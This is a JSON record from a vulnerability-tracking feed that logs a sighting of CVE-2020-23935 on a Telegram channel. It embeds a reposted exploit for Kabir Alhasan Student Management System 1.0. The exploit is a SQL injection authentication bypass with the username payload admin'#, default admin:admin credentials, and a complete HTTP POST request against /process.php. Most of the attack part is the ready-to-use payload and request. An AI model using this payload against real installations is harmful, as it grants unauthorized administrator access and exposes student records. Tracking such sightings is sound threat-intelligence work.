{"uuid": "d5264bb1-5bcb-4919-9794-00858acdc7c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-23935", "type": "seen", "source": "https://t.me/hacking_Attack/34316", "content": "Exploit Collector\nKabir Alhasan Student Management System 1.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-qWHV3SrNBkU/WWlu99WsXjI/AAAAAAAAIJ4/a1ff3k5st1g65kjfNuwTJpgcbLEB4bHEACLcBGAs/s1600/h116.png \nKabir Alhasan Student Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.\n\nMD5 | 380cb8cbd93f5ec166d4924702670db5\n\nDownload\n# Exploit Title: Student Management System 1.0 - SQLi Authentication Bypass\n# Date: 2020-07-06\n# Exploit Author: Enes \u00d6zeser\n# Vendor Homepage: https://www.sourcecodester.com/php/14268/student-management-system.html\n# Version: 1.0\n# Tested on: Windows & WampServer\n# CVE: CVE-2020-23935\n\n1- Go to following url. >> http://(HOST)/admin/login.php\n2- We can login succesfully with SQL bypass method. \n\n-- Username = admin'#\n-- Password = (Write Something)\n\nNOTE: Default username and password is admin:admin.\n\n(( HTTP Request ))\n\nPOST /process.php HTTP/1.1\nHost: (HOST)\nConnection: keep-alive\nContent-Length: 51\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http://(HOST)/\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://(HOST)/index.php?q=login\nAccept-Encoding: gzip, deflate, br\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\nCookie: navigate-tinymce-scroll=%7B%7D; navigate-language=en; PHPSESSID=1asdsd3lf9u2d7e82on6rjl\n\nU_USERNAME=admin'#&U_PASS=123123&sidebarLogin=\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:04.995512Z"}